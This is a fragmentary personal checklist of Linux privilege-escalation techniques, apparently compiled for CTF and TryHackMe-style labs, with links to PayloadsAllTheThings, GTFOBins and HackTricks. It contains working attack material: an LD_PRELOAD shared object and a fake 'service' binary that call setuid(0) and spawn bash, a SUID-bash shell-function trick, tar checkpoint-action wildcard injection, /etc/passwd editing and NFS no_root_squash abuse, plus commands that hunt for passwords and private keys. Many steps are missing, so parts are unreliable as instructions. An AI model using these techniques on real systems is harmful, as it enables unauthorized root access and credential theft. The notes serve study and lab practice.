LPE
LPE
LPE
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%
20Resources/Linux%20-%20Privilege%20Escalation.md
https://loveleshgangil.medium.com/linux-privilege-escalation-checklist-6ccfb13b11ca :
Checklist
Suid checker
python suid3num.py
https://gtfobins.github.io/
Methodology to follow
https://guif.re/linuxeop
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Re
sources/Linux%20-%20Privilege%20Escalation.md
sudo -l
Kernel Exploits
OS Exploits
Custom binaries with suid flag either using other binaries or with command execution
MySQL as root
Writable /etc/passwd
Readable .bash_history
/etc/fstab
/etc/exports
/var/mail
Process as other user (root) executing something you have permissions to modify
1. System Enumeration
hostname : hostname
ps aux | grep root : look for processes running with high privileged accounts
mount : ?
/bin/lsblk
https://linux.die.net/man/8/lsblk
PID : process ID
2. User Enumeration
sudo -l :list all commands your user can run using sudo.
id :uid by group
cat /etc/group :
journalctl :
whoami
who
w
last
last | tail -n 20
lastlog
sudo su -
Check the content of custom scripts that can be run and see if they can be exploited.
Check binaries that can be run and if their is a known method to exploit on GTFObins.
If the output contains “env_keep+=LD_PRELOAD”, see Linux Sudo LD_PRELOAD
Privilege Escalation.
3. Network Enumeration
netstat -ano :which ports are open and what communications exits.
netstat -tunap
ss -tunap
lsof -i TCP:1-1024
route
[ /sbin/route] ?
[ /usr/bin/route1 ] ?
netstat -ano
netstat -i
4. Password Hunting
Identify sensitive files containing the word “PASSWORD” and display in the colour red. Also try
‘PASS=' and ‘PASSWD=’
identify the sensitive files with words same or similar to “password” in the file name
cat /.history
example:
auth-user-pass /etc/openvpn/auth.txt
Backups
locate *.bak
find / -name *.bak 2>/dev/null -exec ls -la {} ;
locate rsa
locate _key
find / -name private -type f -readable 2>/dev/null -exec ls -la {} ;
find / -name _key -type f -readable 2>/dev/null -exec ls -la {} ;
** LinPeas, LinEnum
5. find command
find . -name flag1.txt :find the file named flag1.txt in the current directory.
find / -type d -name config: find the directory named config under “/”
find / -type f -perm 0777: find files with the 777 permissions (files readable, writable, and
executable by all users)
find /home -user frank: find all files for user “frank” under “/home”
find / -mtime 10: find files that were modified in the last 10 days
find / -atime 10: find files that were accessed in the last 10 day
find / -cmin -60: find files changed within the last hour (60 minutes)
find / -amin -60: find files accesses within the last hour (60 minutes)
find / -perm -u=s -type f 2>/dev/null: Find files with the SUID bit, which allows us to run the file
with a higher privilege level than the current user.
find -P / -type f -executable -user root -perm -o=w -name '*' 2>/dev/null -exec ls -la {} ;
Executable writable by others and owned by root with suid set... jackpot!
find -P / -type f -executable -user root -perm -o=w,u=s -name '*' 2>/dev/null -exec ls -la {} ;
find -P / -user root -perm -o=r -name '*' 2>/dev/null -exec ls -la {} ;
Files modified after adding a new user (can use any other file for comparison)
6. Automated Tools
• LinPeas - https://github.com/carlospolop/privilege-escalation-awesome-scripts-
suite/tree/master/linPEAS
• LinEnum - https://github.com/rebootuser/LinEnum
• GTFONow - https://github.com/Frissi0n/GTFONow
• BeRoot https://github.com/AlessandroZ/BeRoot
• unix privesc check https://github.com/pentestmonkey/unix-privesc-check
7. Kernel Exploits
Some resources
https://www.linuxkernelcves.com/cves
https://github.com/lucyoa/kernel-exploits
step2. save the root user's hash a file called hash.txt on your Kali.
step4. su root
https://hashcat.net/wiki/doku.php?id=hashcat
step1. ls -l /etc/shadow
step4. su root
step1. ls -l /etc/passwd
step4. su root
Alternative method.
step1. copy the root user's row to the end of the file.
step4. su hacker
Read this!
https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/
nano id_rsa
sudo -l : check user permissions and search GTFOBins for known shell escape sequences with
sudo privileges.
** if there are no escape shell available, we can try abusing intended functionalities. Searching
GTFOBins with a term like Apache will not return anything results. Then go to google and
search for apache sudo privilege escalation.
https://touhidshaikh.com/blog/2018/04/abusing-sudo-linux-privilege-escalation/
Note: Have a look at for the writeups of THM's “Privilege Escalation Playground” however
beware of that the room is not active
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld_preload
step1. sudo -l
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
sudo LD_PRELOAD=/home/user/pe.so #Use any command you can run with sudo
Note:
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld_preload
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Re
sources/Linux%20-%20Privilege%20Escalation.md#scheduled-tasks
Cron Jobs: Some kind of program/script that the user can schedule can run at a specific time or
interval. We are looking for a cron job writeable. In this scenario, we have a script called XYZ.sh
which is world writeable.
• * * * * * root overwrite.sh
• * * * * * root /usr/local/bin/compress.sh
/usr/local/bin/overwrite.sh
-rwxr--rw-
step6. /tmp/bash -p
-rwxr--rw-
step5
step6
Note: if we don't have the overwrite.sh in /home/user make it exist! then go by step4.
#!/bin/sh
cd /home/user
Not Writeable
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=sh\ABC.sh
step7. /tmp/bash -p
Step3. cd /home/user
SUID & SGID allows users to execute a file with the permission level of the file owner or the
group owner, respectively. Those files which have suid permissions run with higher privileges.
Assume we're accessing the target system as a non-root user and we found suid bit enabled
binaries, then those binaries can run with root privileges.
Some binaries and commands can be used by non-root users to escalate root access privileges
if the SUID bit is enabled. Some of those executable commands are : “bash, cat, cp, echo and
find”. You can also search for more ways to exploit the SUID permission on a binary using
GTFOBins.
Locate by SUID bits and look for SUID files calling a service without a direct path.
#Find SUID
Locate SUID's
#Find GUID
** Soma binaries may not be supposed to be in that list (such as nano. To exploit: Binaries with
the suid permission can be executed as the user who owns the file. If it's owned by root we will
try to get root shell.
ls -la /bin/nano
ls -la /etc/sudoers
/bin/nano /etc/sudoers
save&exit.
sudo -l
One should pay attention to SUID-SO files (equivalent of DLL in Windows). For example:
/usr/local/bin/suid-so. This is vulnerable to shared object injection.
Search the output for open/access cals and for “no such file” errors. The executable tries to
load /home/user/.config/libcalc.so shared object within the home directory. However it's not find.
step3. mkdir /home/user/.config : Create the .config directory for the libcalc.so file.
#include <stdio.h>
#include <stdlib.h>
setuid(0);
step7. /usr/local/bin/suid-so
note: Another important vulnerable environment variables are suid-env & suid-env2
/usr/local/bin/suid-env
step4. Strings focus on determining the content of the binary files and extract us a text.
strings /usr/local/bin/suid-env
At the bottom we see “service apache2 start” which means it tries to start apache2 service.
And for that, it uses the “service” command. It uses the path to do so. Let's print it.
** service has no absolute path mentioned. When we run the suid-env, then it'll call service and
the system will try to find it in the directories or locations that are mentioned in the PATH
variable. So, if we add a directory to the beginning of the PATH variable so that system will find
our new directory first for this binary.
*** The main idea is changing the place or environmental variable where service is called or
trying to make a malicious service and malicious file called service.
step5. echo ‘int main() { setgid(0); setuid(0); system("/bin/bash"); return 0;}’ > /tmp/service.c
step5. gcc /tmp/service.c -o /tmp/service
Now we have a malicious service in /tmp. Now we'll change our path.
step8./usr/local/bin/suid-env
for suid-env2
step1. /usr/local/bin/suid-env2
step3. function /usr/sbin/service() {cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
step5. /usr/local/bin/suid-env2
root.
20. Capabilities
Linux divides the privileges traditionally associated with superuser into distinct units, known as
capabilities, which can be independently enabled and disabled.
https://linux.die.net/man/7/capabilities
we are root.
note : if you have the ability to run Python as a root user, you can do something malicious with
it.
For some examples:
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities
https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/
It means that folder is shareable and can be mounted. So we can mount the
/mnt/sharedfolder folder
When this setting is set, it will allow remote root users that have mounted this share in their
local system to change any file on it as root and leave malicious apps for other users to
execute.
showmount -e
/tmp *
this is my kali :
cd /mnt/sharedfolder
step10. ./x
Network File System is a protocol that allows users to access files over a computer network
much like local storage is accessed, like many other protocols. It builds on the Open Network
Computing Remote Procedure Call (ONC RPC) system. If misconfigured, it could allow reguler
users to escalate privileges to root.
Once an attacker gains access to the target server that is running a misconfigured NFS service,
he will be able to escalate his privileges by exploiting the vulnerable NFS shares. He can view
the service configuration using the cat /etc/exports.
In order to exploit the vulnerable NFS share, a binary has to placed on it so that the SUID
permission can be assigned to it from the attacker machine.
then step1.
showmount utility shows mount information about an NFS server and -e shows nfs export list
Note: No root squash means you have remote access , as a remote user you have root access
to the system. So everything what we were just doing there was done as root.
22. Docker
cd /transfer
cd /tmp
step4. wget http://10.10.10.10/linenum.sh
step6. ./linenum.sh
https://www.hackingarticles.in/lxd-privilege-escalation/
Resources:
https://steflan-security.com/linux-privilege-escalation-exploiting-user-defined-functions/?
source=post_page-----ad25b000b058
1. simple ctf
2. sudo security bypass
3. sudo buffer overflow
4. cmess
5. ultratech
6. vulnversity
7. lazy admin
8. anonymous
9. tomghost
10. convert my video
11. brainpan